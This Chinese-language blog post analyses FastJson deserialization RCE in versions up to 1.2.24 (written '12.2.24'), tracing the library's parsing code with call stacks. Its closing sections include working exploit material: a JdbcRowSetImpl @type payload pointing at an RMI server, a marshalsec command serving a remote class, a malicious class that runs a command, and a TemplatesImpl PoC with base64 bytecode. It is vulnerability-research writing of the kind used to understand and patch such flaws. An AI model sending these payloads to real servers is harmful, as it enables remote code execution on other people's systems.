概述 由于本篇是FastJson反序列化的第一篇,所以我尽量写的详细些,通过阅读本篇你将了解到:
FastJson反序列化到RCE的原因/原理;
通过实例说明FastJson反序列化的三种方式、使用和区别
通过FastJson反序列化到RCE的详细代码跟踪,了解其详细过程;
FastJson反序列化第一个漏洞剖析,<=12.2.24
FastJson反序列化原理 和Weblogic T3反序列化利用ReadObject()不同的是FastJson反序列化过程利用的是反射调用被反序列化类中实现的setXXX()和getXXX()方法。
如下在com.sun.rowset:JdbcRowSetImpl()中的setAutoCommit方法中,会远程连接RMI Server,如果我们反序列化JdbcRowSetImpl并触发setAutoCommit()方法(实际还需要setDataSourceName()方法),则会使得服务端产生一个RMI连接。
1 2 3 4 5 6 7 8 public void setAutoCommit (boolean var1) throws SQLException { if (this .conn != null ) { this .conn.setAutoCommit(var1); } else { this .conn = this .connect(); this .conn.setAutoCommit(var1); } }
所以FastJson反序列化漏洞需要满足以下条件:
被反序列化类种存在set和get方法,并且能够满足RCE的需求;
发送的json数据能够被反序列化,并能够执行被反序列化类种的set、get方法。
FastJson中序列化和反序列化的方法 对于开发者而言,FastJson提供的序列化和反序列化方法使用很简单:
1 2 3 4 5 6 String text = JSON.toJSONString(obj); Object test = JSON.parse(); Object test = JSON.parseObject("{...}" ); Object test = JSON.parseObject("{...}" , TEST.class ) ;
以上三个不同的反序列化方式在解析JSON字符串的代码流程上会有所不同,本文不会分别对它们的代码流程进行跟踪,关于这三个方法的区别在参考2中写的非常详细,本文不再叙述。
上面是开发者视角的三个可以实现反序列化的方法,对于攻击者视角如果想要利用FastJson反序列化执行RCE,则需要能够控制反序列化的类以及上文提到的该类中的setXXX()和getXXX()方法。FastJson提供了一个@type参数,通过@type参数我们可以让FastJson反序列化我们指定的类,这为RCE提供了前提,如<=12.2.24使用的payload为:
1 2 3 4 5 6 //利用JDK原生模块,创建RMI连接,后续的原理和 Weblogic IIOP-RMI CVE-2020-2551相同 { '@type': 'com.sun.rowset.JdbcRowSetImpl', 'dataSourceName': 'rmi://localhost:1099/Exploit', 'autoCommit': 'true' }
调试过程 我们首先实现一个HTTP服务器,然后用fastjson库对POST的json数据进行解析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ...... import com.alibaba.fastjson.JSON;public class Main { public static void main (String[] args) { try { ServerSocket ss=new ServerSocket(8888 ); while (true ){ Socket socket=ss.accept(); BufferedReader bd=new BufferedReader(new InputStreamReader(socket.getInputStream())); String requestHeader; int contentLength=0 ; StringBuffer sb=new StringBuffer(); if (contentLength>0 ){ for (int i = 0 ; i < contentLength; i++) { sb.append((char )bd.read()); } Student jsonObject = JSON.parseObject(String.valueOf(sb), Student.class ) ; System.out.println(jsonObject); } ...... socket.close(); } } catch (IOException e) { e.printStackTrace(); } } }
进入反序列化的过程 下文将详细跟踪Object test = JSON.parseObject("{...}");的反序列化过程。
首先会通过parse()方法对提交的json数据进行解析
1 2 3 4 public static JSONObject parseObject (String text) { Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj); }
在parse()中初始化了DefaultJSONParser,之后调用了DefaultJSONParser的parse方法进行后续的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 public static Object parse (String text, int features) { if (text == null ) { return null ; } else { DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; } }
在DefaultJSONParser中会初始化lexer,input为我们提交的json数据,由于我们提交的数据是由{开始的,所以经过if判断后,lexer.token被设置为12。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public DefaultJSONParser (Object input, JSONLexer lexer, ParserConfig config) { this .dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT; this .contextArrayIndex = 0 ; this .resolveStatus = 0 ; this .extraTypeProviders = null ; this .extraProcessors = null ; this .fieldTypeResolver = null ; this .lexer = lexer; this .input = input; this .config = config; this .symbolTable = config.symbolTable; int ch = lexer.getCurrent(); if (ch == '{' ) { lexer.next(); ((JSONLexerBase)lexer).token = 12 ; } else if (ch == '[' ) { lexer.next(); ((JSONLexerBase)lexer).token = 14 ; } else { lexer.nextToken(); } }
代码随后进入
1 Object value = parser.parse();
在parse()中会根据lexer.token进入不同的解析流程
1 2 3 4 5 6 7 8 9 10 public Object parse (Object fieldName) { JSONLexer lexer = this .lexer; switch (lexer.token()) { ...... case 12 : JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return this .parseObject((Map)object, fieldName); ...... } }
在com.alibaba.fastjson.parser.DefaultJSONParser:parseObject中,将遍历传入的Json数据,并解析出@type字段的key和value,并调用derializer对@type的值进行反序列化。这里代码比较长,只放关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 ...... key = lexer.scanSymbol(this .symbolTable, '"' ); ref = lexer.scanSymbol(this .symbolTable, '"' ); clazz = TypeUtils.loadClass(ref, this .config.getDefaultClassLoader()); ObjectDeserializer deserializer = this .config.getDeserializer(clazz); thisObj = deserializer.deserialze(this , clazz, fieldName); ......
在初始化解析器过程中,首先会尝试在deserializers中匹配type的类型,如果匹配到了就返回匹配的derializer,否则就判断是否是Class泛型的接口,如果是则调用getDeserializer((Class<?>) type, type)继续处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public ObjectDeserializer getDeserializer (Type type) { ObjectDeserializer derializer = (ObjectDeserializer)this .derializers.get(type); if (derializer != null ) { return derializer; } else if (type instanceof Class) { return this .getDeserializer((Class)type, type); } else if (type instanceof ParameterizedType) { Type rawType = ((ParameterizedType)type).getRawType(); return rawType instanceof Class ? this .getDeserializer((Class)rawType, type) : this .getDeserializer(rawType); } else { return JavaObjectDeserializer.instance; } }
在getDeserializer(Class<?> clazz, Type type)中,会继续获取derializers,这里传入的clazz和type都是我们通过@type指定的com.sun.rowset.JdbcRowSetImpl类,这里代码很长,最后会进入createJavaBeanDeserializer,创建一个新的derializer:
1 2 3 4 5 6 7 public ObjectDeserializer getDeserializer (Class<?> clazz, Type type) { ...... derializer = this .createJavaBeanDeserializer(clazz, (Type)type); this .putDeserializer((Type)type, (ObjectDeserializer)derializer); return (ObjectDeserializer)derializer; ...... }
在这里首先会根据类名和propertyNamingStrategy生成beanInfo,之后利用asm工厂类的createJavaBeanDeserializer生成处理类:
1 2 3 4 5 6 7 8 public ObjectDeserializer createJavaBeanDeserializer (Class<?> clazz, Type type) { ...... beanInfo = JavaBeanInfo.build(clazz, type, this .propertyNamingStrategy); try { return this .asmFactory.createJavaBeanDeserializer(this , beanInfo); } ...... }
PS: 在build方法中将循环类中的每个方法,并识别是否以set或get开头:
1 2 3 4 5 6 7 8 if (methodName.startsWith("set" )) { ...... } if (methodName.startsWith("get" )) { ...... }
随后通过ASM生成derializer(处理类):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public ObjectDeserializer createJavaBeanDeserializer (ParserConfig config, JavaBeanInfo beanInfo) throws Exception { Class<?> clazz = beanInfo.clazz; if (clazz.isPrimitive()) { throw new IllegalArgumentException("not support type :" + clazz.getName()); } else { String className = "FastjsonASMDeserializer_" + this .seed.incrementAndGet() + "_" + clazz.getSimpleName(); String packageName = ASMDeserializerFactory.class .getPackage ().getName () ; String classNameType = packageName.replace('.' , '/' ) + "/" + className; String classNameFull = packageName + "." + className; ClassWriter cw = new ClassWriter(); cw.visit(49, 33, classNameType, ASMUtils.type(JavaBeanDeserializer.class), (String[])null); this ._init(cw, new ASMDeserializerFactory.Context(classNameType, config, beanInfo, 3 )); this ._createInstance(cw, new ASMDeserializerFactory.Context(classNameType, config, beanInfo, 3 )); this ._deserialze(cw, new ASMDeserializerFactory.Context(classNameType, config, beanInfo, 5 )); this ._deserialzeArrayMapping(cw, new ASMDeserializerFactory.Context(classNameType, config, beanInfo, 4 )); byte [] code = cw.toByteArray(); Class<?> exampleClass = this .defineClassPublic(classNameFull, code, 0 , code.length); Constructor<?> constructor = exampleClass.getConstructor(ParserConfig.class , JavaBeanInfo .class ) ; Object instance = constructor.newInstance(config, beanInfo); return (ObjectDeserializer)instance; } }
接下来进入重点,回到最开始的parseObject()方法中,我们已经创建了deserializer,接下来是通过deserializer对类进行反序列化。
1 2 3 4 ObjectDeserializer deserializer = this .config.getDeserializer(clazz); thisObj = deserializer.deserialze(this , clazz, fieldName);
在com.alibaba.fastjson.parser.deserializer:JavaBeanDeserializer:deserialze中将继续解析传入的Json数据,并根据json数据对指定的类进行加载,调用setvalue()方法改变类中的变量,这些动作通过下面的代码来实现,此时key为我们传入的json中的key,object为经过反序列化的JdbcRowSetImpl类的实例,type为JdbcRowSetImpl类
1 2 boolean match = this .parseField(parser, key, object, type, fieldValues);
接下来会在com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer:parseField中继续解析并提取value字段,并调用setValue方法,进行变量的修改,关键代码如下。
1 2 3 value = javaBeanDeser.deserialze(parser, fieldType, this .fieldInfo.name, this .fieldInfo.parserFeatures); this .setValue(object, value);
在setValue方法中将通过反射的方式调用类中的方法。
1 2 method.invoke(object, value);
到这里为之我们已经详细描述了JSON数据解析到反射调用方法的过程,如果存在可被利用的类,那么我们可以将该类名以及需要的参数发送给服务端导致RCE。
看一下从收到Json数据到触发方法调用的调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 setDataSourceName:4298, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:91, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:865, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:355, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1312, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1278, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) parseObject:201, JSON (com.alibaba.fastjson) main:64, Main (com.company)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 connect:634, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:91, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:865, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:355, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1312, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1278, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) parseObject:201, JSON (com.alibaba.fastjson) main:64, Main (com.company)
<=12.2.24 环境准备:
使用marshalsec起一个RMI服务器 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#exp18 1099
写一个恶意类并编译 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.company;import java.io.IOException;import java.util.Hashtable;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;public class exp18 implements ObjectFactory { public exp18 () { } public static String exec (String var0) { try { Runtime.getRuntime().exec("open /Applications/Calculator.app" ); } catch (IOException var2) { var2.printStackTrace(); } return "" ; } public static void main (String[] var0) { exec("123" ); } }
本地开启HTTP服务器,将编译过的恶意类放到web目录下,对应步骤一中的路径。
漏洞分析 反序列化流程在上文已经详述,这里看漏洞的几个关键点:
通过传递dataSourceName参数,触发反射调用setDataSourceName,将远程地址修改为rmi:127.0.0.1/exp
通过传递autoCommit参数,触发反射调用setAutoCommit,并执行connect函数1 2 3 4 5 6 7 8 public void setAutoCommit (boolean var1) throws SQLException { if (this .conn != null ) { this .conn.setAutoCommit(var1); } else { this .conn = this .connect(); this .conn.setAutoCommit(var1); } }
在connect函数中,我们看到了熟悉的函数lookup,说明这里是通过jndi的方式进行远程数据库的连接,而此时this.getDataSourceName已经被我们设置为rmi:127.0.0.1/exp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); return this .getUsername() != null && !this .getUsername().equals("" ) ? var2.getConnection(this .getUsername(), this .getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this .resBundle.handleGetObject("jdbcrowsetimpl.connect" ).toString()); } } else { return this .getUrl() != null ? DriverManager.getConnection(this .getUrl(), this .getUsername(), this .getPassword()) : null ; } }
随后就是请求RMI,获取到http://127.0.0.1/#exp18,并通过com.sun.jndi.rmi.Registry.RegistryContext:decodeObject来从HTTP服务器上下载exp18,后续的流程与JNDI一致这里不再叙述。
PS:jdk 1.8u191之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private Object decodeObject (Remote var1, Name var2) throws NamingException {try { ...... if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'." ); } else { return NamingManager.getObjectInstance(var3, var2, this , this .environment); } } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } }
<=12.2.24还有一个利用方式,即基于JDK1.7u21的gadgets,利用原理与上文相同,同样是利用反序列化走道了JDK原生的类,这里建议重点看一看ysoserial的JDK1.7u21这个payload,不过现在JDK1.7u21已经用的非常少了,关于这个gadget的详细分析见参考3,这里直接给出POC:
1 {"@type" :"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ,"_bytecodes" :["yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAcTOeJiOacrDI0L2pkazd1MjFfbWluZSRsYWxhOwEAClNvdXJjZUZpbGUBABFqZGs3dTIxX21pbmUuamF2YQwABAAFBwATAQAa54mI5pysMjQvamRrN3UyMV9taW5lJGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAV54mI5pysMjQvamRrN3UyMV9taW5lAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAEY2FsYwgAGwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAB0AHgoAFgAfAQARTGFMYTg4MTIwNDQ1NzYzMDABABNMTGFMYTg4MTIwNDQ1NzYzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAADwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ" ],'_name' :'a.b' ,'_tfactory' :{ },'_outputProperties' :{ }}
参考链接
https://paper.seebug.org/994/#11-defaultjsonparser
https://xz.aliyun.com/t/7027#toc-4
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/